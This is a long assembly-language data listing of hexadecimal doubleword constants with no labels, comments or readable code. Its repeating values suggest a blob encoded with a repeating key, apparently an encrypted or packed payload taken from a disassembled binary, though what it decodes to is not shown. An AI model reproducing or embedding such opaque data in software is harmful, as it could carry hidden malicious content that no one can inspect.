		dd 4A4D029Ah, 0E3F84A49h, 20FC3CD7h, 0E9156644h, 0FEC60537h
		dd 6BDED54Dh, 0C393DB15h, 5B3ED381h, 21FC0779h,	0CA156611h
		dd 42222DD8h, 0E8D24B28h, 12460E9h, 0BDE7F429h,	8946F5B7h
		dd 0CDEA99BBh, 524EB90Bh, 9374DC71h, 3EFC4F55h,	0F5156644h
		dd 4D059BF6h, 0CE2040D2h, 532A4580h, 321574ADh,	0C7A24922h
		dd 0FC813D9Ch, 0FDFD84FFh, 80161F8Eh, 53B96C0Ch, 0E425E32Ah
		dd 0B71A616Fh, 3215665Bh, 32156FCBh, 50DC8B11h,	0D2D4CAA3h
		dd 0B79E3167h, 35F57C5Fh, 33AD36E9h, 33156688h,	9ED3E83h
		dd 0D5C352A7h, 72906916h, 3D156688h, 32156DC6h,	0B9730622h
		dd 329569E0h, 53156688h, 16E4E3CFh, 0BF1A61C2h,	32156603h
		dd 32156B61h, 0C6507E44h, 936820Dh, 5CAC3197h, 0FD920AD7h
		dd 0CDEA8FC5h, 0FD9299DDh, 3214EA1Eh, 9ED6688h,	0D5C35EC1h
		dd 7A906925h, 0DB156611h, 32156698h, 3F3BF9F5h,	0B837F9F7h
		dd 3EA89556h, 348A3F25h, 2BE4E3CFh, 62E061C2h, 8564E3A9h
		dd 194B63FDh, 0D0204FC4h, 338A51BEh, 3BFC3ED6h,	1F156688h
		dd 0F0BA6D0Bh, 0C866E29Eh, 32996971h, 3D156688h, 97491F3h
		dd 0D5C35AA7h, 7C906916h, 52156688h, 0ECA26915h, 3499697Dh
		dd 0B3156611h, 6E07F063h, 0B79E0752h, 35F562F7h, 321568F8h
		dd 86D3C888h, 0CD86DAFBh, 0B68E081Fh, 63CEC2B1h, 32156731h
		dd 6BDA6744h, 3206E32Dh, 3CFC6611h, 0F7156688h,	0D95E2289h
		dd 863BB2C0h, 0C07F5DD6h, 72905D3Fh, 3D128192h,	321502A7h
		dd 23986911h, 0DB156688h, 32156648h, 0F549C6EEh, 67BD16C2h
		dd 90CBF873h, 1E98E3CFh, 0B37561C2h, 7C192AE0h,	0B7AB00B3h
		dd 0FD9207E8h, 3214A7A3h, 0FD926611h, 32058FE8h, 7786644h
		dd 1EB33CD3h, 0BA02532h, 35ED2DCBh, 52751CACh, 32058E43h
		dd 3A4F6611h, 4B4700A9h, 70FBF27Fh, 0E66A055h, 534A8905h
		dd 76905DE9h, 3D128192h, 321522A7h, 8D730611h, 0E994A2D2h
		dd 5C9B8F3Eh, 0F90ED43h, 0CE128621h, 1DD8DBDDh,	0FF944789h
		dd 5FD341D2h, 0C550B3E6h, 31D0E75Dh, 1B875694h,	20FC3BCDh
		dd 0FF156611h, 0E8418674h, 772A571Eh, 0A9DE6323h, 0F680B52h
		dd 7A905D9Ch, 3D128192h, 32155CA7h, 32018F11h, 0C2A86688h
		dd 0C1FB01C0h, 0ECA5EEB8h, 4FC2AA8Dh, 0C9F98AE7h, 0B79E1BD3h
		dd 35F57B4Bh, 3213E31Eh, 0B9756688h, 534D36B6h,	0CDEADB77h
		dd 0DD3C99EEh, 0FA306D5h, 9743EF4h, 0D20D4BA7h,	1906916h
		dd 0CA156688h, 321563ADh, 85B1CA22h, 0B79E65C1h, 35F546E9h
		dd 33AB30B8h, 33156622h, 0DBEC38E6h, 3215669Ah,	392E30A6h
		dd 507D6EA9h, 1FE65185h, 273E97DCh, 0B72EEDB7h,	35F2B06Eh
		dd 3273E31Eh, 60756688h, 68C3D14Bh, 321560CBh, 0C1DCFA11h
		dd 5314EAF7h, 36D4E3CFh, 3EFC61C2h, 0A3156611h,	0B5E9FCF7h
		dd 0B21798EEh, 3D1791E5h, 32156197h, 33966988h,	0CE156644h
		dd 2458DC70h, 0F894472Bh, 300C78E5h, 59A384C5h,	0B357094Fh
		dd 660061D3h, 0E7D7E7AEh, 33A3E4A4h, 0BB1A3CF5h, 32156619h
		dd 329E69E8h, 53156644h, 0E49DE319h, 0B71A61F6h, 32156617h
		dd 0B201D924h, 0B21A0EA8h, 32156615h, 88CCDFEEh, 0A2A8E525h
		dd 321281F4h, 325BE31Eh, 0B31A6688h, 32156651h,	321E8F42h
		dd 0A01A6611h, 7280B907h, 10B5B42Dh, 0E19E0017h, 0CBA8E570h
		dd 321286B9h, 324CE24Bh, 0BF1A6622h, 32156608h,	32157261h
		dd 7B6E3244h, 8D916E65h, 8215B85Dh, 73BE41CEh, 0AE27E190h
		dd 339B69E2h, 0CE156611h, 664E303h, 0B41A61A4h,	32156629h
		dd 32966971h, 3D156688h, 6774AFF3h, 8F57AC9Fh, 0A4F0E759h
		dd 0B37AECF8h, 45AA1981h, 6FFA6795h, 3214E91Eh,	9E06688h
		dd 0D5C3EAC1h, 54906925h, 0C7156611h, 0E485DB0Bh, 3D1561A3h
		dd 321548A7h, 32108F11h, 0C1736688h, 0B1300DD6h, 0D2249F9Fh
		dd 0B61A6616h, 321566C9h, 0DBE4EC24h, 3215662Ch, 3AFC7227h
		dd 633B7DEEh, 0B20437Bh, 0B974DEE1h, 0D23ADB94h, 0B01A9F8Fh
		dd 32156643h, 3214E02Dh, 63E06611h, 32156731h, 6BDA6744h
		dd 3212E32Dh, 0B71A6611h
		dd 32156689h, 62905DB1h, 3D1281F4h, 32152294h, 3DFC0688h
		dd 0E1156644h, 0C3791277h, 0A81B41E2h, 0A6B5F22Dh, 0B3737839h
		dd 533BFFE5h, 130CE39Ah, 39FC6168h, 4F156644h, 0ADC9400Ah
		dd 26411CB2h, 64E058EFh, 321567FAh, 6CE26722h, 45A30671h
		dd 0E29E00E9h, 66905D25h, 3D1281F4h, 32153994h,	2B956988h
		dd 3D156644h, 321575ABh, 321B8F11h, 5A2D6688h, 6A2A6836h
		dd 4D8DE6AFh, 8FDA18Ah,	3204E303h, 0B21A61A4h, 32156632h
		dd 32156DF8h, 3DF1188h,	0AE31E2CBh, 7DE0CFD0h, 32118A90h
		dd 0E9C6688h, 16119960h, 32078F7Dh, 34A86611h, 0C7E6794Bh
		dd 4D7A6095h, 0C282FE0Ah, 66B2242Fh, 0E44DE3B3h, 0B71A61A3h
		dd 32156663h, 0AB90EDE9h, 3D1286A6h, 32156AC3h,	34976922h
		dd 3D156611h, 32156607h, 33AC3744h, 33156622h, 52753FDEh
		dd 53753CD9h, 538FD425h, 321AE02Dh, 38FC6611h, 81156688h
		dd 1A918546h, 0DE6C0B05h, 6E905D47h, 3D12815Eh,	321541C1h
		dd 0B9730622h, 0B79E07DAh, 35F56485h, 3219E84Bh, 0B31A6622h
		dd 32156617h, 3215E687h, 0ED926644h, 3CA5761h, 0CECA57EAh
		dd 0E475E3B3h, 0B71A61A3h, 3215661Eh, 0C5940071h, 0B974A69Ch
		dd 0D20EDBC1h, 321D8F25h, 0DC9F6611h, 0FF210B10h, 8C434279h
		dd 2E444A27h, 1E118890h, 0C5147AD9h, 321B8F1Ah,	18296622h
		dd 0E88A5BE7h, 0BE7EFDBBh, 8FCE4389h, 0E471E319h, 0B71A61F6h
		dd 321566C4h, 321574ADh, 0CB0B1C22h, 61F42439h,	4652635Dh
		dd 0CA00C852h, 0C706D003h, 2FC0E39Ah, 3EFC6168h, 83156644h
		dd 0B73F0371h, 1A761AC6h, 6509B014h, 0B93162BBh, 0F694421Eh
		dd 32156615h, 321FED87h, 37FC6644h, 88156622h, 0B67E55BBh
		dd 0B61A9983h, 32156607h, 3209EA2Dh, 0DB756611h, 32156687h
		dd 2B16E874h, 74397DAEh, 76E3C56Ah, 0B30B29F2h,	0B3D850A2h
		dd 23FC077Eh, 0FE156611h, 0F7816E3Fh, 9533B3BEh, 3B92975Ah
		dd 0EFD18363h, 0CDF80661h, 0CE9F06BBh, 97498A9h, 0D23BEF94h
		dd 1A90698Fh, 3D156644h, 321567A9h, 0B7989A11h,	35F27FE7h
		dd 0DF2E8FBDh, 34FC99DDh, 97156611h, 5EF7B5B1h,	0B3730683h
		dd 5451D0F2h, 9749D9Ah,	0D214EB0Dh, 61906943h, 52156622h
		dd 3204E41Eh, 3EFC6688h, 8D156644h, 646FF31Bh, 35978712h
		dd 0CACF76DAh, 82A8E525h, 331281F7h, 3239E31Eh,	3CFC6688h
		dd 0FA156644h, 96AA8A12h, 71173589h, 0FE74A1C2h, 5590EBAEh
		dd 0CE153F29h, 0DEC68FE4h, 35FC9977h, 0B7156644h, 0EA1659DDh
		dd 0B72E5B91h, 35F2B348h, 323DE24Bh, 3D756622h,	32156797h
		dd 8BA49388h, 0F6905D25h, 3D1281F7h, 32154694h,	32138F88h
		dd 6BEC6644h, 131A4D61h, 0EE9F3771h, 0BCFC07D3h, 52EA99A8h
		dd 8C2DADA2h, 526236A6h, 665FD8E9h, 0C4945C05h,	4AD532FCh
		dd 3281DD42h, 0EC242409h, 3A94691Fh, 3D156622h,	3215649Fh
		dd 0B1740688h, 0B71A67BAh, 32156685h, 86905DE8h, 3D12815Dh
		dd 32154DC1h, 0C7ED0622h, 0F690EB70h, 0DB153E0Fh, 3215664Eh
		dd 59FA3DDCh, 8C80E3B1h, 1CFC7EF4h, 52EA99A8h, 3217ED2Dh
		dd 0EC9E6611h, 0CB74383Fh, 0E7ADE37Fh, 0B71A61C5h, 32156639h
		dd 890EB71h, 0DB153ECCh, 3215662Fh, 0D8453768h,	4B758600h
		dd 0AC17C2DDh, 0D9E28F65h, 547599EEh, 491A8009h, 53FF95C4h
		dd 0E7A9E319h, 0B71A61F6h, 321566A7h, 3204EC4Bh, 0DB756622h
		dd 3215661Bh, 0A442CFh,	6417CA52h, 0BF740AB9h, 6A9D1994h
		dd 8CFC9F88h, 52EA99AFh, 3429719Ah, 8697DC35h, 0B3744035h
		dd 321562A8h, 1611EF22h, 5A479349h, 39D3FF7h, 4BFFE71Eh
		dd 670B2168h, 1528E4ACh, 0F9F0E79Ch, 0C561ED55h, 49F8E7FFh
		dd 0F3628F1Dh, 0DFD46065h, 0D4E0E746h, 1B06533Eh, 0E49C3BFBh
		dd 0DB4206D2h, 32156657h, 0FA0F8620h, 1506F43Ah, 6AA79BE6h
		dd 0D5C740C2h, 6B1DF22Fh, 32156EF8h, 8B60C488h,	0F87A3F8h
		dd 0C41E07A1h, 3208E31Eh, 3D756688h, 321564C4h,	0C7EDED22h
		dd 0D9118F70h, 0B01A9977h, 32156643h, 3214E22Dh, 62EC6611h
		dd 42315209h, 0B9502E5Ah, 0F6964216h, 42E3E715h, 0C7502E96h
		dd 1CD3CDh, 0B11A61C2h,	3215661Dh, 3213E987h, 0BA1A6644h
		dd 32156622h, 11C8D398h, 3BFC6168h, 0BF156644h,	0BCD5C4A6h
		dd 90596502h, 32156061h, 0BC5C4644h, 0B2E1F758h, 0B71A8F2Fh
		dd 321567A7h, 3219E64Bh, 35FC6622h, 40156611h, 1754CC68h
		dd 8946E483h, 32156623h, 56CBA590h, 0C1143546h,	56CB8DC5h
		dd 99E35ECh, 321D8F4Ah,	4B136688h, 1E78A693h, 88474612h
		dd 73A6545Ch, 6D10AC09h, 0C5573225h, 0D89424F0h, 43F24372h
		dd 0C8748C09h, 0E53CB2D9h, 0B3E26778h, 0B57588D6h, 32078FEBh
		dd 0CDB76644h, 0F7CBAD50h, 71A8AE3Dh, 489C9BA7h, 45727596h
		dd 321FE42Dh, 3D756611h, 32156604h, 53DDED44h, 7EA83374h
		dd 1B69B16Eh, 6F1142E4h, 7ED6E71Fh, 5269B15Dh, 321575F9h
		dd 0CE525B88h, 2CA52EE6h, 0B1F6A9F5h, 303AC4DCh, 83C7E60Fh
		dd 0DB4D0724h, 3215662Bh, 6EACB3BEh, 0DA89BC66h, 5A4407FDh
		dd 32152622h, 6BDE6748h, 0B5C7E7E8h, 533F4331h,	1CDB19h
		dd 0B01A61F1h, 321566C1h, 3D966924h, 0DA156622h, 32156618h
		dd 0B6CD119Ch, 0C4B064Bh, 0EEAB3C02h, 53602AAEh, 0B41A9DB3h
		dd 3215666Fh, 3219E22Dh, 0BA1A6611h, 3215668Eh,	3215EF4Bh
		dd 3CFC6622h, 94156611h, 4BAB6E19h, 48BCE71Bh, 0FB8241D0h
		dd 0DB618F85h, 0B9E99977h, 0D20107F9h, 52460625h, 3FFD3C70h
		dd 0CE156688h, 416D6FE9h, 0FDE6FF0Ch, 3AD62F3Eh, 0B7D207D0h
		dd 35F575CDh, 32156622h, 32156BF8h, 6AABBF88h, 34225706h
		dd 67E276C7h, 0DB752711h, 32156685h, 0D848BAE8h, 0C37D6BB1h
		dd 6D1BB406h, 0EFA0EFC4h, 52128667h, 71CEE744h,	0B41A070Eh
		dd 32156689h, 1C88EBB8h, 52128E7Eh, 321568F8h, 460CFD88h
		dd 0A70E6534h, 2ED219D6h, 3D656905h, 3215660Ah,	0E1EA0744h
		dd 3219E02Dh, 3D756611h, 3215660Bh, 0F4AE0044h,	0F21E07F0h
		dd 3234E21Eh, 38FC6688h, 6E156644h, 0C1E26898h,	380B4B7Ch
		dd 32B48FB4h, 3AFC6644h, 4B156622h, 4F5F77EBh, 0BF85402Ch
		dd 0D79E5CD9h, 0B9730625h, 321F8FC8h, 19B46688h, 7133CF61h
		dd 92C16AACh, 3DC69970h, 0CDEA0A0Bh, 321F8FBBh,	0A08A6622h
		dd 0B09CB36Eh, 6BFE9E97h, 37996924h, 89156622h,	3DAF2C11h
		dd 0C16A909h, 0B9744A9Ch, 0D236BB97h, 32058F16h, 90446688h
		dd 0DE083F0Fh, 72F15898h, 6727D0FFh, 879C2715h,	35F575CDh
		dd 321560CBh, 6E681411h, 0BF490F7Ah, 0D489EBD9h, 32058F25h
		dd 0E49F6611h, 0E7B5BDAAh, 99CE2D90h, 7B2B7FD7h, 0E1EAB4DDh
		dd 3214EF87h, 0B9EC6644h, 0D2276FA7h, 0B79C9A16h, 35F54555h
		dd 32078F24h, 9BD06622h, 0F06E9117h, 7A087B18h,	14CFFEB1h
		dd 663400DCh, 321561F9h, 0DDF42088h, 9F096815h,	0DB74077Dh
		dd 32156605h, 9778BDBDh, 6258D6A9h, 0C6969A94h,	7E5196ECh
		dd 0D2E5FF25h, 3DFD58C4h, 3215D8A7h, 339C6911h,	0CB156688h
		dd 3DD8DBC7h, 3D1561C2h, 3215CC95h, 3A906988h, 3D156644h
		dd 321564A6h, 60740611h, 0F895683Ah, 0E29D367Fh, 0F09DBED4h
		dd 0F4FFE649h, 0B2138448h, 0E29D4FB6h, 0B91A9F78h, 32156610h
		dd 3FFCCC70h, 0D156644h, 57B56D50h, 27A0C148h, 0A89BCFD5h
		dd 3271292Ch, 1621EF22h, 321D8F49h, 2DDA6688h, 7B7C3F6Bh
		dd 6C105317h, 37601811h
		dd 3B6C37BCh, 6389E6Dh,	1F1C1F73h, 476B664Fh, 32156361h
		dd 7BC6E844h, 0AF7D392Dh, 0BB156676h, 36AA42B4h, 1B156644h
		dd 0B27539DAh, 99741ECDh, 30478F7Dh, 52756644h,	851A3E70h
		dd 0D39507EEh, 8C7507CFh, 3347054Ch, 0BF74A9A9h, 0DA54FF8Ch
		dd 34FC068Fh, 0D0156644h, 0CFFFD9D0h, 0FC9E0047h, 52C699E9h
		dd 2D22CEFDh, 32058F3Fh, 0A0286611h, 0E45D8E4Dh, 0AC4F9F14h
		dd 0E83D2CDh, 0BF747838h, 0DA430015h, 22916943h, 0DB156622h
		dd 3215661Ah, 0D3528EA2h, 0B5E302DAh, 0CDD887D6h, 851A06C2h
		dd 0D8940042h, 39743B32h, 1E9069E2h, 0DB156611h, 32156687h
		dd 0F2ACC767h, 0B610A6DDh, 3B9DD4Bh, 0DBC97EF1h, 32156600h
		dd 32128F42h, 57456611h, 529D0C41h, 0F3AF0015h,	0B1ED0769h
		dd 0D236BB94h, 0B41A638Fh, 3215664Eh, 321563CBh, 0EF2D9211h
		dd 0BFFC0937h, 3DEA99BAh, 321567AEh, 3BFC9311h,	0C3156688h
		dd 699A88CFh, 0CEF939CCh, 6AADFB9Ch, 0CDE96160h, 321B8F97h
		dd 1B876622h, 0C6CC6895h, 0F643E34Bh, 0CBAA7150h, 0B71AA629h
		dd 3215660Dh, 321AE787h, 38FC6644h, 0C2156622h,	0DFA9C7CDh
		dd 7CD277A9h, 32378F15h, 53756622h, 0BB118A92h,	36A842A4h
		dd 33156644h, 0DBED3BC8h, 32156739h, 32156161h,	0A01DA344h
		dd 1CF7D3C0h, 0B92FFB9Ch, 39FC616Dh, 67156644h,	0B96B451Bh
		dd 257426CCh, 0E1EA20CAh, 3225E54Bh, 22FC6622h,	5B156611h
		dd 0FFBBF8C3h, 279B0CDBh, 547674FAh, 0B914FF2Dh, 0D236BB3Dh
		dd 0FFC9343h, 0CB15660Fh, 32156FF8h, 0C894F888h, 0CB26C60Dh
		dd 0BF9EBB09h, 35F545CCh, 32138F7Dh, 5C1D6644h,	68AFB6DAh
		dd 11C8D398h, 0BF1A6168h, 3215665Dh, 321572CBh,	5CE58111h
		dd 1CBC5BF8h, 84163B73h, 736C9E5Fh, 9877488Bh, 0DFCE743h
		dd 1B3EAE70h, 0B4AF34D3h, 0B35B9957h, 567DF7Ah,	68C46721h
		dd 32138FDEh, 3DFF6611h, 0A7F86E7Eh, 32A833D5h,	1B156622h
		dd 0A348F3D4h, 32156E61h, 0C408CD44h, 5F4C9D2Ch, 9CD3E73Ah
		dd 1B408A9Ch, 9CA8338Ah, 1B408A36h, 3D753BFFh, 32157503h
		dd 32188E44h, 0B9456622h, 0C6783E8Eh, 5084C63Fh, 6CD842A7h
		dd 53EBED44h, 3EFCC2E2h, 0CD156688h, 7CF7F355h,	2A94AAA4h
		dd 3DC5B385h, 32156102h, 33976944h, 0CA156622h,	0CDE865F8h
		dd 33956977h, 0CB156644h, 0ACCBFBAFh, 0CDE061F7h, 4C7D9F5Bh
		dd 0BB15660Fh, 0CE4D421Eh, 2674E33Ah, 0BBED6168h, 0D204F7C1h
		dd 54759325h, 52AF75AFh, 84778C09h, 0F19E19E8h,	0B79E0743h
		dd 35F57270h, 0D79C3374h, 3211A3C5h, 0DF966622h, 1639E115h
		dd 1629EFD4h, 32156DADh, 716EC22h, 0B9A59DA6h, 35659B7h
		dd 321CE34Bh, 54756622h, 0B2A8D3AAh, 5A74676Fh,	32157C2Eh
		dd 0CB3162ABh, 9348EB9Ch, 3D75616Eh, 321564CCh,	53740622h
		dd 3EFCB7EEh, 62156688h, 0D7B2EF24h, 0AC88A605h, 0B95FDA59h
		dd 0D215DF0Dh, 0B9759F43h, 0DD9400E3h, 5A74365Bh, 321555D6h
		dd 0C73162CDh, 3278B94Ah, 1629EF11h, 5390ED71h,	0C7128650h
		dd 32C2E642h, 53EDD11Eh, 321DF5E0h, 1611EF44h, 321568CBh
		dd 12D51211h, 887CDE76h, 0F2263FCDh, 0BF5CDC0Bh, 0D4B7DB9Ch
		dd 0E3EA938Fh, 1E9436B1h, 3410E806h, 8A453C75h,	56136306h
		dd 3D4DA445h, 321568AAh, 0BF1A0611h, 32156688h,	0D669B9C5h
		dd 62742601h, 0B3316A9Ah, 3215624Ch, 0BF3E9344h, 35F5669Bh
		dd 32108F71h, 0CF086688h, 86FF577Bh, 3CFC074Dh,	0EE156611h
		dd 740F5870h, 9D16420Dh, 0D2B6ABC8h, 0CFA8E5A4h, 32128689h
		dd 328EE24Bh, 22FC6622h, 66156611h, 5CDFD40Fh, 5FF8366Eh
		dd 5E7EDD55h, 0B950EF8Fh, 0D207630Dh, 37FD0643h, 6E156622h
		dd 6D062C96h, 6BE4D187h, 32156FACh, 80BA9D22h, 5DA53933h
		dd 0B11A4971h, 32156644h, 0B73E077Ch, 35F567ECh, 3DD45D71h
		dd 32152AC2h, 0B79E9322h, 35F54494h, 3214EA87h,	31EC6644h
		dd 0D2149BA7h, 3DFC0616h, 0D2156688h, 9605FA26h, 0E098C429h
		dd 0DF5C570Dh, 0B3739B84h, 538F6492h, 18D4E3ABh, 0DBEC61F1h
		dd 32156718h, 321EEC4Bh, 0B2756622h, 0B51A51E7h, 32156688h
		dd 36F9E525h, 3D316AABh, 32157494h, 38FD0688h, 0CE156644h
		dd 0C7528A5Ah, 4CA6C78Ch, 64743813h, 0BBDAEF13h, 0C29C39DCh
		dd 0CEED064Fh, 35EF5E9h, 3D6579Ch, 339269FAh, 0CB156611h
		dd 258AD9DFh, 0B35A1C9Ch, 321567E5h, 19DAE711h,	0B3472CDDh
		dd 0E852A6ABh, 6DED6F58h, 3214EC1Eh, 60E96688h,	0CDEA99FEh
		dd 68C54FDDh, 0B9739A71h, 0B79C0757h, 35F57441h, 321DEF2Dh
		dd 0B81A6611h, 3215668Ah, 0B7140724h, 35F54483h, 3200E41Eh
		dd 0B21A6688h, 3215664Bh, 32156CCBh, 30C27D11h,	0CF462F17h
		dd 0F577A101h, 0D2149BA7h, 32156616h, 32128F88h, 78566644h
		dd 0D8D907E5h, 52550CFDh, 52CAD987h, 0F217D3FAh, 53FFEC36h
		dd 22150E70h, 52756688h, 52CADC5h, 0B373531Eh, 53AA01D9h
		dd 6774B503h, 0F79483CDh, 32156626h, 0B5118B92h, 0BB4942A4h
		dd 54754248h, 0DBAAAA9Ah, 3215661Ah, 0B543605Eh, 41FE3CD0h
		dd 53807691h, 0B21A667Bh, 3215669Dh, 321576ADh,	0C5482522h
		dd 0FE234769h, 0F8247959h, 37AD3CEFh, 7B80996Eh, 0DB128616h
		dd 32156683h, 74F1C24Fh, 0F011C41h, 0CDC263F4h,	0D205BB1Dh
		dd 0FB950643h, 0BB749336h, 0D237E394h, 0B79C9A8Fh, 35F54C85h
		dd 321561CBh, 7E333E11h, 7698B21Fh, 6B3152BBh, 3D11A2A1h
		dd 32157599h, 321B8F88h, 306A6644h, 8B168895h, 0BBDDEE53h
		dd 340B37D7h, 18D4D3BBh, 547561C2h, 52660BAAh, 9CFDE7EEh
		dd 6EF6E7D6h, 5302973Fh, 321D8F70h, 6FE16688h, 0EAFBAC76h
		dd 87EAFBA7h, 35F566A8h, 32156161h, 4CC5FA44h, 48B76038h
		dd 0B3F0EF44h, 3215624Dh, 36F8E744h, 0B5156622h, 0BB49423Dh
		dd 0CDEC42B4h, 0D20107F1h, 0B7989F25h, 35F3DA5Dh, 32156161h
		dd 3B1F2B44h, 2BCFCB1Dh, 33ECB6EEh, 0D2149B05h,	339F6943h
		dd 0C7156622h, 18D4DB9Ah, 52E96168h, 321569ADh,	205DA222h
		dd 0C753F8E2h, 739AD2DEh, 0C1D61C14h, 32156CCBh, 0DA360511h
		dd 1F5E500Eh, 53417738h, 32ACD3A9h, 3BFC61F1h, 82156688h
		dd 0B2BC51DEh, 90445D86h, 0B21AC2E2h, 32156680h, 5AE6E624h
		dd 53C5D12Dh, 0FFA0EDE8h, 0DB128693h, 32156648h, 0A1FE5CBBh
		dd 0EFC7522Dh, 0F2B60B89h, 339D69E9h, 0CE156622h, 0CDE9DD42h
		dd 0D9949977h, 72693B93h, 0F1949523h, 72693BC6h, 3215654Fh
		dd 524E6644h, 0FD52289Ah, 0E4AA6979h, 37D5A7E9h, 5A4633BDh
		dd 3A5477EFh, 0D9942D4Ah, 75BF2049h, 57DBA5C5h,	0EF9CDA30h
		dd 57D0E74Ah, 33F64426h, 0CA753BACh, 57906543h,	0DB128615h
		dd 32156686h, 40A8570Ch, 658E4953h, 20F7D7E5h, 0BF9E329Dh
		dd 35F54C85h, 321572CBh, 2D0C9211h, 185C5201h, 0A9BA7C55h
		dd 0D478E4F5h, 0C0300C55h, 13C10E30h, 3E9C6644h, 5215E906h
		dd 0ADBCDD77h, 32156061h, 4B7A5644h, 533AB1DCh,	399F69BCh
		dd 52156688h, 3DC3A6C4h, 321566AEh, 65470711h, 6956E5E0h
		dd 0DD943957h, 214E25A5h, 334A9C98h, 3217A17Ah,	68156644h
		dd 3BFC06D7h, 14156611h, 0B8E85028h, 0D7C9B22Ch, 0EA959E42h
		dd 0BB7407E7h, 0D20EAB3Dh, 339C6943h, 0CE156622h, 3DEA9E92h
		dd 3215D40Dh, 32188F44h, 71A86622h, 489C9B3Eh, 4572755Ah
		dd 0B385E611h, 0EFC8BB1Ch, 0A69069CCh, 52156688h, 54EBED22h
		dd 322284A3h, 5A403670h
		dd 61A30C49h, 0F3F8E719h, 0BB46D048h, 349C3BF9h, 321C8FD0h
		dd 0AC466644h, 2DBD9C04h, 52F47F5Fh, 74FBB936h,	8EFCE701h
		dd 53625B1Fh, 3211DF40h, 0FC146688h, 0B3316ACFh, 321562E6h
		dd 321A8F11h, 0D7546688h, 142EE555h, 730E291Fh,	64C18CB5h
		dd 879C9E3Dh, 35F57D89h, 3DE8EC42h, 32156597h, 0EAAA6988h
		dd 0E6438F25h, 0B81A99DDh, 32156610h, 32048F70h, 6E986644h
		dd 65BA640h, 42703785h,	53FA5722h, 0F326D520h, 0B91A65E2h
		dd 32156610h, 57906570h, 3D128640h, 321574ABh, 32188F11h
		dd 323B6688h, 6DC13F24h, 2AFA9490h, 0DB633E93h,	32156684h
		dd 0C652E35Eh, 4A4A7C03h, 0F9BEA768h, 3DF0DB0Bh, 3D1461A4h
		dd 3216DFA6h, 0C949311h, 98BFCC22h, 32BEE34Bh, 23FC6622h
		dd 0F4156611h, 6F2C5122h, 3501D221h, 0F2A44426h, 4988D1D6h
		dd 3211D9DFh, 0CC146644h, 0B1315AA9h, 63E062D5h, 2485131h
		dd 43FCE723h, 0B30A9321h, 0EB1FD2D8h, 34F4A7D7h, 8E287C5h
		dd 0DB9430F8h, 64C75E91h, 0B9E92801h, 0F6964248h, 32058F26h
		dd 23B96611h, 0CACDADACh, 2FC8904Eh, 95310BAAh,	0CA245047h
		dd 0CA24A1B9h, 32156CADh, 11FF6B22h, 552EC4F0h,	0CA99A167h
		dd 32483A2Ch, 1609EF22h, 0EA9D8FA2h, 0B97306D3h, 53E6ECBFh
		dd 32153ECBh, 32068F11h, 6CBE6688h, 0C8543F53h,	27A2292Bh
		dd 7E91636h, 3A983602h,	3ED57EEh, 3DED57E5h, 3215659Fh
		dd 53EC0688h, 834465F4h, 3AF4A6B2h, 0B2E09791h,	0C395C741h
		dd 6BDD6E11h, 36168EE2h, 8A7306C5h, 3EFDB20Bh, 0F4156644h
		dd 3B3E7391h, 6E2DF2Fh,	6ADDC2A7h, 7D720E25h, 369C6622h
		dd 3E9A6935h, 3D156688h, 321560C2h, 32986922h, 0B1156611h
		dd 0D2249F35h, 0B61A6743h, 32156793h, 3214E51Eh, 60ED6688h
		dd 4017F82Ch, 0D0D43C09h, 25AA3112h, 0B32B5BD9h, 0F97FABABh
		dd 0B3C2911Ah, 0B56E57F6h, 0EDE22981h, 89A589C5h, 0C824CC5Ah
		dd 0BEE7E74Eh, 0B3032AEBh, 0EF483AB6h, 68C5EF22h, 0FEA8E5E4h
		dd 3212815Dh, 324AE24Bh, 3D756622h, 32156499h, 524D3188h
		dd 3215E34Bh, 26FC6622h, 0F156611h, 82D617D6h, 0D3D6D607h
		dd 0DCB588E0h, 0C0C8C7h, 537E213Ah, 0F088EB25h,	0DB1280F0h
		dd 32156618h, 3A17D0F6h, 0CAD8D73Dh, 3DC6998Bh,	32157199h
		dd 32078F88h, 64B16644h, 81C73C27h, 4739E670h, 8D36EE2Bh
		dd 377F951h, 0A22AE6DBh, 3253E21Eh, 52E96688h, 321568ADh
		dd 0D8BCF722h, 0C811F936h, 0D1BAB476h, 0B93578E7h, 884707F3h
		dd 32156614h, 518BA109h, 0E51426BEh, 518B89A3h,	0C74F26EBh
		dd 3214D761h, 321B8F44h, 1C276622h, 6C909D9Bh, 0BD966301h
		dd 896769E2h, 3D459EA1h, 3215CA93h, 83449A88h, 11DCE69Bh
		dd 823B97A2h, 6BDD66AEh, 0B91ACC70h, 3215665Eh,	32188F42h
		dd 0A99B6611h, 5503A96Ch, 0CAE2BB84h, 3D5AA331h, 32156696h
		dd 369E0788h, 0D79C3360h, 3211A3A3h, 0F7946611h, 3215668Ch
		dd 6E314AC3h, 321574CBh, 74076B11h, 197CBDF9h, 0A5D9BA69h
		dd 0CA36D576h, 98562FBEh, 32156F61h, 0C2C0D244h, 509A19CEh
		dd 90FC4B50h, 52156688h, 321572ACh, 3A978E22h, 0D25F84E8h
		dd 2BB0B75Ah, 0A94EECCAh, 6FB2D7D1h, 74CAE7A2h,	6C1D8C4Ch
		dd 321575ADh, 94A9A222h, 7076687Fh, 76AD492h, 0F341DB4Fh
		dd 0A2E4BDAh, 16219970h, 36D1E7D0h, 52156644h, 0B9740642h
		dd 987407CBh, 32156861h, 12FFDE44h, 306DE4DAh, 8C3C7A3Bh
		dd 0B20A4520h, 3DFC993Bh, 32155EA7h, 8F969F11h,	35F2B344h
		dd 25916944h, 0C7156622h, 0E3BEFB9Ch, 0CDEC616Eh, 359A6997h
		dd 3D156622h, 32156799h, 0DE969E88h, 1619EF40h,	7D9DA7AAh
		dd 0B01A3F15h, 32156689h, 0F390EDB8h, 0CA128608h, 3204EA1Eh
		dd 0DA756688h, 32156643h, 833DF8DFh, 6DA7ACDFh,	607407E8h
		dd 0D501A8FEh, 68C54F3Eh, 0FC109E38h, 3D09819Ch, 321567C4h
		dd 0B01A9322h, 32156610h, 36AE3574h, 37156644h,	25CD4A8Dh
		dd 9D38BE38h, 6902BEA4h, 321575ADh, 5C894622h, 0F19FE075h
		dd 4E00AC4Bh, 2866427Dh, 5CC3C87Bh, 219769BAh, 52156688h
		dd 321560ADh, 2EA2A622h, 3DEF5235h, 32156601h, 0CEB80744h
		dd 321575CBh, 1E665011h, 274E4A76h, 0EE2E67A7h,	0A111C020h
		dd 73B79176h, 2AC3DFD9h, 0DBD40295h, 43E4E726h,	33ECD4FFh
		dd 3214A179h, 6B156644h, 321572CBh, 7240D111h, 0B00E5CA1h
		dd 1CA1414Dh, 13285E76h, 0F7967D90h, 0C8FC8F77h, 34FC99BBh
